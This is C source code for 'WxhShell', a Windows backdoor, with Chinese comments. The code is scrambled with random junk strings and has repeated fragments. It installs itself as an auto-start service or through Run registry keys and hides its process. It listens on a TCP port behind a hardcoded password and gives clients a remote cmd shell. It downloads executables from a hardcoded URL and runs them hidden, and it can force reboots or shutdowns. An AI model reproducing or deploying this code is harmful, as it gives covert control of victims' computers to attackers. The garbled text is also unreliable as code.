W;^Rx.W static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "4'kb
[<_"`$sm= HANDLE hProcess; MB1sQReOO PROCESS_BASIC_INFORMATION pbi; 4O$ mR pgCd HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A ?#]s if(NULL == hInst ) return 0; #.~ga7Q lo"j )Zt g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +c-6#7hh g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2>\b: NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pNP_f:A| {d| |q<.- if (!NtQueryInformationProcess) return 0; 7raSf&{&6b LEWa6'0rq hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r])Z9bbi if(!hProcess) return 0; nHrP>zN :_>\DJ'> if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L_E^}^1! xcHen/4X CloseHandle(hProcess); D0f*eSXE{ Y
[4vRzc hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4S'[\ZJO if(hProcess==NULL) return 0; E3y6c)< U?^OD HMODULE hMod; lco~X DI char procName[255]; ^SEc./$ unsigned long cbNeeded; p`\3if' I"B8_ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _Q>
"\_, w-r_H!- CloseHandle(hProcess); K*[9j 0 M|ms$1x if(strstr(procName,"services")) return 1; // 以服务启动 w2k<)3 g~ -<xyC8$^$ return 0; // 注册表启动 :MK=h;5Z } B#1:Y;Z " <qEXX // 主模块 b9`i Z int StartWxhshell(LPSTR lpCmdLine) Jth=.9mrM { hBjVe?{ SOCKET wsl; i^R{Ul[ BOOL val=TRUE; =PV/`I_h int port=0; wcwQj Hwd
struct sockaddr_in door; ~eHRlXL' 2@sr:,\1 if(wscfg.ws_autoins) Install(); yE}BfU { . 9WOu8Ia port=atoi(lpCmdLine); d`85P+Qen| D@#0 dDT if(port<=0) port=wscfg.ws_port; XjxPIdX_H uWh|C9Y!A WSADATA data; )9MrdVNv if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F%Kp9I*
NaF(\j if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; U7E setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o_sQQF door.sin_family = AF_INET; y86)) door.sin_addr.s_addr = inet_addr("127.0.0.1"); l^ARW
E door.sin_port = htons(port); \9'!"-i p'gb)nI
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?d4Boe0-a2 closesocket(wsl); NIaF 5z return 1; YwGHG{?e } lu]o34 #9i6+. Z if(listen(wsl,2) == INVALID_SOCKET) { 3^XVQS*** closesocket(wsl); ka#K
[qI return 1; t}VwVf<K } 6%E~p0)i% Wxhshell(wsl); :\mRtVH WSACleanup(); k}HQq_Y(< 2)=la%Nx return 0; U,'EF[t vnTq6:f#M } kQIfYtT .A(i=!{q // 以NT服务方式启动 |:N>8%@6c VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *
MEe,4 { 9s(i`RTM DWORD status = 0; x~EKGoz3 DWORD specificError = 0xfffffff; c yP,[?N H'Ln
P>@n# serviceStatus.dwServiceType = SERVICE_WIN32; 8bt53ta serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;T>+, serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &L%Jy #= serviceStatus.dwWin32ExitCode = 0; 8 aZ$5^z serviceStatus.dwServiceSpecificExitCode = 0; Pxqiv9D<R serviceStatus.dwCheckPoint = 0; +}U2@03I serviceStatus.dwWaitHint = 0; ~,gLplpG0 ~r&D6Y hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TY~Vi OC if (hServiceStatusHandle==0) return; +;dXDZ2 .TJ">? status = GetLastError(); ddoFaQ8 if (status!=NO_ERROR) (i]Z|@|) { O#:&*Mv serviceStatus.dwCurrentState = SERVICE_STOPPED; =JW[pRI5a serviceStatus.dwCheckPoint = 0; AWT"Y4Ie serviceStatus.dwWaitHint = 0; &{ ZSE^ serviceStatus.dwWin32ExitCode = status; 4jGLAor| serviceStatus.dwServiceSpecificExitCode = specificError; B)6#Lp3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); t.)AggXj# return; {fU?idY)c } qp&4 1 y(}Eko4u5 serviceStatus.dwCurrentState = SERVICE_RUNNING; \2>?6zs serviceStatus.dwCheckPoint = 0; _=EZ `!% serviceStatus.dwWaitHint = 0; h>klTPM> if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I+",b4 } VoM6 "r. . // 处理NT服务事件,比如:启动、停止 ! Mo`^t VOID WINAPI NTServiceHandler(DWORD fdwControl) LG&5VxT=,< { |` "? switch(fdwControl) a+Ab]m8` { W5Zqgsy($F case SERVICE_CONTROL_STOP: $;`I,k$0>~ serviceStatus.dwWin32ExitCode = 0; =X@o@1 serviceStatus.dwCurrentState = SERVICE_STOPPED; f-D>3qSS serviceStatus.dwCheckPoint = 0; p411 `]Zf serviceStatus.dwWaitHint = 0; jct./arK { :Q7mV%% SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7@l<?
( } OH6n^WKY return; .6m_>Y6 case SERVICE_CONTROL_PAUSE: O%g\B8; serviceStatus.dwCurrentState = SERVICE_PAUSED; [zh"x#AyI break;
%w5[*V case SERVICE_CONTROL_CONTINUE: J +q|$K6 serviceStatus.dwCurrentState = SERVICE_RUNNING; YeyGN break; mmP U
case SERVICE_CONTROL_INTERROGATE: L/i(KF{ break; ARWZ; GX }; D:JS)+] SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9i%9
} wf9z"B +EkW>$ // 标准应用程序主函数 sV2iITFp int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
;:OsSq& { 1bSD,;$sQ `R+,1"5 = // 获取操作系统版本 [@G`Afaf OsIsNt=GetOsVer(); "U8S81' GetModuleFileName(NULL,ExeFile,MAX_PATH); EB,4PEe: 1'O0`Me># // 从命令行安装
zF: j if(strpbrk(lpCmdLine,"iI")) Install(); Uu'dv#4Iw $Q/Ya@o // 下载执行文件 8\#
^k#X if(wscfg.ws_downexe) { 2d`c! if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @;Y~frT WinExec(wscfg.ws_filenam,SW_HIDE); _u5dC } /S~m)$vu A,#2 ^dR if(!OsIsNt) { SaO3zz@L // 如果时win9x,隐藏进程并且设置为注册表启动 {rXs:N@ HideProc(); 61@EDIYPc StartWxhshell(lpCmdLine); Lh ap4: } /!T> b:0 else R#eg^7HfX if(StartFromService()) F,T~\gO5, // 以服务方式启动 1*UNsEr StartServiceCtrlDispatcher(DispatchTable); LchnBtjn else M_|> kp // 普通方式启动 &leK}je [ StartWxhshell(lpCmdLine); v>mn/a F]_cbM{8/ return 0; qSD9P ue } =k{`oO~:9+ &y\sL"YL! s'u(B]E &`Ck =========================================== X?o(
b/F- o2uj =Gnx ,Z~;U hfrnxeM#~ C@gXT]Q
0} qp~gP " >/^#Drwb!i UtJ a3ya #include <stdio.h> S$[k Q|Am #include <string.h> 0rE(p2 #include <windows.h> NlF}{ #include <winsock2.h> 'q{733o #include <winsvc.h> Vrp[r *V@E #include <urlmon.h> 6`\ya@ ]RIVc3?;$ #pragma comment (lib, "Ws2_32.lib") xf,5R9g/ #pragma comment (lib, "urlmon.lib") W?Xiz TW 1*Ar{:+ua #define MAX_USER 100 // 最大客户端连接数 `G$1n#& #define BUF_SOCK 200 // sock buffer BfmsMW #define KEY_BUFF 255 // 输入 buffer k6**u :i*JnlvZ #define REBOOT 0 // 重启 )=^w3y #define SHUTDOWN 1 // 关机 `<fh+* +j[oE I`e #define DEF_PORT 5000 // 监听端口 jirbUl \a|L/9% #define REG_LEN 16 // 注册表键长度 B'weok #define SVC_LEN 80 // NT服务名长度 +R.N%_ ra6o>lI(, // 从dll定义API aT!;{+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6}dR$*= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BNucc'] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3,eIB( typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z/]q)`G 39TT{>?`w // wxhshell配置信息 G^Tk 20* struct WSCFG { .tXtcf/ int ws_port; // 监听端口 HOi C char ws_passstr[REG_LEN]; // 口令 }1H=wg>\ int ws_autoins; // 安装标记, 1=yes 0=no Oejq@iM"( char ws_regname[REG_LEN]; // 注册表键名 ktH8as^54! char ws_svcname[REG_LEN]; // 服务名 t+TYb#Tc char ws_svcdisp[SVC_LEN]; // 服务显示名 E~hzh /,34 char ws_svcdesc[SVC_LEN]; // 服务描述信息 JXU2CyMY char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3f76kl(& int ws_downexe; // 下载执行标记, 1=yes 0=no !1sU>Xb4J char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GdmmrfXB char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MXvXVhCU SU%DW 46 }; @gfDp< 1s7^uA$}6 // default Wxhshell configuration qr(`&hB-L struct WSCFG wscfg={DEF_PORT, HgRwiIt "xuhuanlingzhe", F[`ZqW 1, XhW %,/< "Wxhshell", m
<k!^jp "Wxhshell", 'cd N3i( "WxhShell Service", x4K`]Fvhl "Wrsky Windows CmdShell Service", #`SD$; "Please Input Your Password: ", 40P) 4w 1, g /+oZU "http://www.wrsky.com/wxhshell.exe", 5,KWprb "Wxhshell.exe" (Xxn\*S }; 5\4g>5PD ~oD8Rnf // 消息定义模块 m}Y0xV9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zY9H% char *msg_ws_prompt="\n\r? for help\n\r#>"; :14i?4Fd char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9@VO+E$7L char *msg_ws_ext="\n\rExit."; 6LUC!Sh char *msg_ws_end="\n\rQuit."; Qo0H char *msg_ws_boot="\n\rReboot..."; m6n!rRQ^U char *msg_ws_poff="\n\rShutdown..."; X]*QUV]i char *msg_ws_down="\n\rSave to "; \F6LZZ2Lv (M-ZQ
- char *msg_ws_err="\n\rErr!"; v90T{1+M|4 char *msg_ws_ok="\n\rOK!"; '3(l-nPiG^ @9G- m(?* char ExeFile[MAX_PATH]; xK%= int nUser = 0; 6tjcAsV HANDLE handles[MAX_USER]; 2&(sa0*y int OsIsNt; |$lwkC)O !fkep= SERVICE_STATUS serviceStatus; rXi uwz\ SERVICE_STATUS_HANDLE hServiceStatusHandle; l5t2\Fl gPC@Yy // 函数声明 f^<6`Aeq int Install(void); B5am1y{P# int Uninstall(void); !b|' Vp^U int DownloadFile(char *sURL, SOCKET wsh); #VbVsl int Boot(int flag); keAcKhj void HideProc(void); PH4%R]{8{ int GetOsVer(void); gQWd&)'muf int Wxhshell(SOCKET wsl); L#h:*U{@40 void TalkWithClient(void *cs); !$qKb_#nC int CmdShell(SOCKET sock); T5lQIr@a int StartFromService(void); T)CzK<LbR int StartWxhshell(LPSTR lpCmdLine); CZ{k@z`r jdqj=Yc VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <&!]K?Q9i VOID WINAPI NTServiceHandler( DWORD fdwControl ); )|#%Czd4 ,Fqz e/ // 数据结构和表定义 5"Kx9n| SERVICE_TABLE_ENTRY DispatchTable[] = %i{;r35M;9 { y>VcgLIB {wscfg.ws_svcname, NTServiceMain}, =(r*
5vd {NULL, NULL} Tp%(I"H'_; }; +*nGp5=^GE Bd0eC#UGkQ // 自我安装 LX+5|u int Install(void) B\`Aojw"E? { &R-H"kK? char svExeFile[MAX_PATH]; (il0M=M HKEY key; ]hw-Bu\{ strcpy(svExeFile,ExeFile); wNCCH55Pt WV<tyx9Z // 如果是win9x系统,修改注册表设为自启动 YrI|gz) if(!OsIsNt) { *6ZCDm&N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y#V8(DTyH RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A]`:VC=IU RegCloseKey(key); g;p)n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =odkz}bU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H.
,;- RegCloseKey(key); "u^EleE! return 0; P!g-X%ngo } YZ}cB } |(IO=V4P } &vUq}r%P else { !F4;_A`X ,32xcj}j)r // 如果是NT以上系统,安装为系统服务 ~ 9o6 W", SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ws[D{dS/ if (schSCManager!=0) GY!C|7kN { s'I)A^i+ SC_HANDLE schService = CreateService *MM#Z?mP ( D>ef schSCManager, T.&7sbE_ wscfg.ws_svcname, |w&~g9 wscfg.ws_svcdisp, ?r_kyuU SERVICE_ALL_ACCESS, rs8\)\z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^JeMuU SERVICE_AUTO_START, _kraMQ> SERVICE_ERROR_NORMAL, .-I|DVHe svExeFile, }<m{~32M NULL, 9M$/=>^
Z NULL, kEN#u NULL, sa-9$},z4 NULL, y.a]r7 NULL H'g?llh1J ); :-+4:S if (schService!=0) 0&w0aP`Y { Y*YFB|f? CloseServiceHandle(schService); ISqfU]>[ CloseServiceHandle(schSCManager); o+?@5zw-& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4iX-( ir, strcat(svExeFile,wscfg.ws_svcname); +&v\
/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~UMOT!4}3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VV3}]GjC RegCloseKey(key); tai Vk4 return 0; F1W+o?B } e<+<lj" } :h5J r8 CloseServiceHandle(schSCManager); h[Tk;h } wT_^'i*@I } /'&;Q7!) G?)vWM`j return 1; ;Rnhe_A. } bH9Le POd/+e9d // 自我卸载 \_ow9vU int Uninstall(void) vgG}d8MW37 { ,@CfVQz HKEY key; mUXk9X%n ohZx03 if(!OsIsNt) { 8I#D`yVKc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &a #GXf RegDeleteValue(key,wscfg.ws_regname); 9%,;XQ RegCloseKey(key); y?:dE.5p| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YMB~[]$V< RegDeleteValue(key,wscfg.ws_regname); mb1IQ & RegCloseKey(key);
9YKDguG return 0; ;sQbn|=e" } mnQ'X-q3iO } B@cz
?%] } A~71i& else { W<'<'z5 FmT
`Oa> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8&(-8 if (schSCManager!=0) >4)g4~'n! { "'{OIP SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iJnh$jo if (schService!=0) Y3oMh, { ]Z@k|Nw if(DeleteService(schService)!=0) { gGbI3^r# CloseServiceHandle(schService); e- 6(F4 CloseServiceHandle(schSCManager); myvh@@N return 0; 3M*Y= ?pI } K2|7% CloseServiceHandle(schService); >]/dOH,A } fValSQc!U CloseServiceHandle(schSCManager); -Bv12ymLG } In(NF# } Gpu_=9vzv fv?45f return 1; 9ECS,r*B } ,cQA*;6 G8P+A1
f/> // 从指定url下载文件 d}% (jJ(I int DownloadFile(char *sURL, SOCKET wsh) ,"H?hFQ { 4A o{M HRESULT hr; s=/^lOOO char seps[]= "/"; uBRw>"c_*8 char *token; Mjw[:70 char *file; )E~mJln char myURL[MAX_PATH]; &;U|7l~vl char myFILE[MAX_PATH]; /Sj_y*x1e P#bm uCOS strcpy(myURL,sURL); M,G8*HI" token=strtok(myURL,seps); g RU-g while(token!=NULL) s01$fFJgO { 88YC0!Ni file=token; E{oB2;P token=strtok(NULL,seps); ~2 Oc
K } -x?Hj/ i-"<[*ePd GetCurrentDirectory(MAX_PATH,myFILE); s((b"{fFb strcat(myFILE, "\\"); Rk{$S"8S_ strcat(myFILE, file); kPedX send(wsh,myFILE,strlen(myFILE),0); FvA|1c send(wsh,"...",3,0); d'q&Lq hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !ABLd|tP if(hr==S_OK) W
U0UG$o` return 0; m9I(TOw else )BpIxWd? return 1; 8xgc[# x{j+}'9 } iz(m3k:w x3_,nl // 系统电源模块 Tz2x9b\82 int Boot(int flag) s)Gb!-`` { u{pTva HANDLE hToken; i
_8zjj7 TOKEN_PRIVILEGES tkp; 6T]Q.\5BZ ec#_olG% if(OsIsNt) { e00RT1L OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W=F3XYS LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \Qp}|n1JY tkp.PrivilegeCount = 1; ~6MMErSj tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 35}P0+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |<'10 if(flag==REBOOT) { j}"]s/= 6 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zK,~ 37)\ return 0; O${r^6Hh } ?'T"?b< else { [KD}U-(Wg if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @ljZw( return 0; #% qqL } Fu#Y7)r } +$'e4EwqV else { ~;TV74~rr if(flag==REBOOT) { ADTU{6UPS if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *P&OxVz return 0; |%n|[LP' } N4'
.a=1 else { LxIuxt=X|p if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B>1M$3`E return 0; Mp!2`4rD } W5TqC } {E3;r7 n}) return 1; TeOFAIU } (69kvA&|q _P>1`IR // win9x进程隐藏模块 6ch@Be5* void HideProc(void) KwY`<t1lA; { A[K:/tB no eb f HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *4zoAs lU1 if ( hKernel != NULL ) Kw)C{L5a { R65;oJh pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r7zf+a] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +SP!R[a FreeLibrary(hKernel); h]G6~TYI5 } 4KN0i ,q{lYX83S return; T9aTEsA[U } [I#Q ch%Q'DR_I) // 获取操作系统版本 :0i#=ODR int GetOsVer(void) A{xSbbDk
{ vbW\~xf OSVERSIONINFO winfo; +:j4G^ V winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pmE1EDPag GetVersionEx(&winfo); $u/8Rp if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "Wzij&WkQ return 1; H{p[Ghp else cx,u2~43A& return 0; T1Ln)CS?9 } kW*W4{Fth ?etj.\q6 // 客户端句柄模块 KyVe0>{_u int Wxhshell(SOCKET wsl) hfVzzVX: { *}50q9)/ SOCKET wsh; r-Xjy*T struct sockaddr_in client; ~cWLu5 DWORD myID; |qFN~ ! sZ\i(eIU while(nUser<MAX_USER) ~XN]?5GQf { 5Lo==jHif int nSize=sizeof(client); 2l;ge>DJ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [xH2n\7 if(wsh==INVALID_SOCKET) return 1; `qQQQ.K7)z ^$^Vd@t>a handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #oS if(handles[nUser]==0) aG8;,H=%, closesocket(wsh); }1E_G else **
"s~ nUser++; #&HarBxx } l7FZ;%& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6'X.[0M P7^TRrMF return 0; SK~;<>:37 } )@};lmPR nY.Umj // 关闭 socket x<j($iv void CloseIt(SOCKET wsh) m78MWz]Yo { +=lcN~U2 closesocket(wsh); 5#A1u
Nb nUser--; ?PH}b?f4 ExitThread(0); {yl/T:Bh& } zke~!"iq 1]zyME // 客户端请求句柄 Q{)F$]w void TalkWithClient(void *cs) X_Of k { 2v;
7ohK B[k+#YYY SOCKET wsh=(SOCKET)cs; XzTH,7[n char pwd[SVC_LEN]; 0zkT8'v char cmd[KEY_BUFF]; znDtM1sLeV char chr[1]; 8aIq#v int i,j; clU3#8P!= \$0
x8B while (nUser < MAX_USER) { /A`zy MsVI <+JZ if(wscfg.ws_passstr) { ]idD&5gd if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ($ 1<Dj: //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 77[;J //ZeroMemory(pwd,KEY_BUFF);
?tM]. \ i=0; Bo\dt@0; while(i<SVC_LEN) { oKqFZ,m[ %l$&_xV- // 设置超时 "oGM>@q=B fd_set FdRead; s%?p%2&RA struct timeval TimeOut; jgfP|oD FD_ZERO(&FdRead); ClVpb ew FD_SET(wsh,&FdRead); C%7 ,#}[U/ TimeOut.tv_sec=8; -W"0,.Dvg TimeOut.tv_usec=0; |$-d,] V int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >Ki]8& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :{= 'TMJ7 *'S%gR=Aa+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sV4tu(~ pwd=chr[0]; {~{s =c0 if(chr[0]==0xd || chr[0]==0xa) { 7)8}8tY^{ pwd=0; xbC-ueEj break; Kgio}y } `: i++; !`Yi{}1_ } .6A:t?. vpw&"?T // 如果是非法用户,关闭 socket 3e<^-e)+xL if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g.sV$.T2K } 7 QJcRZ[lU vrldRn'*9 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @tp7tB ; send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _+Kt=;Y8 ?cxK~Y\ while(1) { Y>m=cqR Q]'!FmXf ZeroMemory(cmd,KEY_BUFF); P+|8MT0 y!D`.' // 自动支持客户端 telnet标准 "$V2 $ j=0; 2cL)sP} while(j<KEY_BUFF) { M HB]' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *^5,7}9Qo cmd[j]=chr[0]; swgBPJ"? if(chr[0]==0xa || chr[0]==0xd) { JX<W[P>M cmd[j]=0; 491I break; Oydmq,sVe( } EKw\a j++; =8D4:Ds } vj$6 Cb-E<W&2D // 下载文件 ~ b_gwJ' if(strstr(cmd,"http://")) { TAoR6aE send(wsh,msg_ws_down,strlen(msg_ws_down),0); @O @yJ{(I if(DownloadFile(cmd,wsh)) { xoo9jq- send(wsh,msg_ws_err,strlen(msg_ws_err),0); OkUpgXU else 4^^rOi0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X&8,.=kt"
} <BA&S
_=4 else { qE:DJy< l!` 0I] } switch(cmd[0]) { w8ld*z 9r#{s Y // 帮助 [![(h % case '?': { 2:F send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p00AcUTq break; BF!zfX?n } ZHasDZ8 // 安装 !l^AKn| case 'i': { tY=TY{ RY if(Install()) *b_54X%3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~]M" else LTct0Gh send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7# 3)&"j
break; fC|u } L|w-s4L // 卸载 TMsoQ82 case 'r': { r ngw6?`n- if(Uninstall()) ii9/ UtIQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Z!2xfQy> else vDvGT<d send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y1\vt+`O break; SqB|(~S } eMzCAO // 显示 wxhshell 所在路径 "M &4c:cz case 'p': { :5J6rj;_ char svExeFile[MAX_PATH]; W
F<V2o{k strcpy(svExeFile,"\n\r"); #+k[[; 0 strcat(svExeFile,ExeFile); R2W_/fsG send(wsh,svExeFile,strlen(svExeFile),0); o+TZUMm break; Z+(V \ } &J:)*EjVl5 // 重启 W<o0Z OO case 'b': { Beg5[4@ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Kf~+jYobO if(Boot(REBOOT)) qw1J{xoHW send(wsh,msg_ws_err,strlen(msg_ws_err),0); [CX?Tt else { k^jCB>b closesocket(wsh); z?[DW* ExitThread(0); v19`7qgR( } {m:R v&T break; G|_aU8b|t } wP?q5r5 // 关机 =U2n"du case 'd': { )A=g# D# send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Uiw7Y\Im| if(Boot(SHUTDOWN)) IoOnS) send(wsh,msg_ws_err,strlen(msg_ws_err),0); G[j79o else { o#/iR]3 closesocket(wsh); 1H7Q[ 2E ExitThread(0); H%aLkV!J } 8f5^@K\c break; 8Oh3iO } x`i`]6q // 获取shell W=]",< case 's': { ,>v9 Y#U CmdShell(wsh); Fg_s'G,` closesocket(wsh); C/VYu-p% ExitThread(0); $uynW3h break; 4LJ}>e } 1G.gPx[ // 退出 rxeXz< case 'x': { F:GKnbY send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F*:NKT d CloseIt(wsh); @$K q<P break; "e<.
n } Uy|=A7Ad
c // 离开 ?Zp!AV case 'q': { u?Mu*r? send(wsh,msg_ws_end,strlen(msg_ws_end),0); '$-,;vnP0 closesocket(wsh); z
]N~_9w WSACleanup(); ~(^*?(Z exit(1); ^QR'yt3e break; W+C_=7_ } L b;vrh;A } LlY*r+Cgl1 } Am0C|(#Xm ATp 6- // 提示信息 Jd"s~n<>K if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h!CX`pBM } $:
m87cR~ } ?$4R < i/~QJ1C return; QF/u^|f } ^6y4!='ci EFt`<qwj // shell模块句柄 |
8Egw-f int CmdShell(SOCKET sock) m{dyVE { ,T*_mDVY STARTUPINFO si; "`*a)'.'^c ZeroMemory(&si,sizeof(si)); dN/ "1%9) si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W)msaq, si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $"{3yLg PROCESS_INFORMATION ProcessInfo; +xBK^5/x char cmdline[]="cmd"; \(U" _NPp CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7r[%|: return 0; KSB_%OI1 } C2=iZ`Z>T n!eqzr{ // 自身启动模式 Bx : So6: int StartFromService(void) \i;&@Kp.N { v&b.Q:h*' typedef struct m|2]lb { '
ra B DWORD ExitStatus; jw(>@SXz DWORD PebBaseAddress; avt>saR DWORD AffinityMask; fqk Dk DWORD BasePriority; DkF2R @ ULONG UniqueProcessId; bqQO E4; ULONG InheritedFromUniqueProcessId; v;bP8)mI } PROCESS_BASIC_INFORMATION; 8Z4?X% %][$y7 PROCNTQSIP NtQueryInformationProcess; i
B!h Ebz P
5qa:< static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AXh3LA static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZkB6bji !`
M;# HANDLE hProcess; lO2T/1iMTW PROCESS_BASIC_INFORMATION pbi; TcKvSdr' l'7Mw%6{ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1ntkM? if(NULL == hInst ) return 0; Vy%
:\p+ aq0iNbv@ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LE<u&9I\ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TXJY2J*24 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gVnwsE O\4+_y if (!NtQueryInformationProcess) return 0; JIP+ !2 ne"?90~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Zc%foK{ if(!hProcess) return 0; ovDJ{3L6O +=6RmId+X if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y^d[( c vcw>v={x CloseHandle(hProcess); YXX36 rQcRjh+E
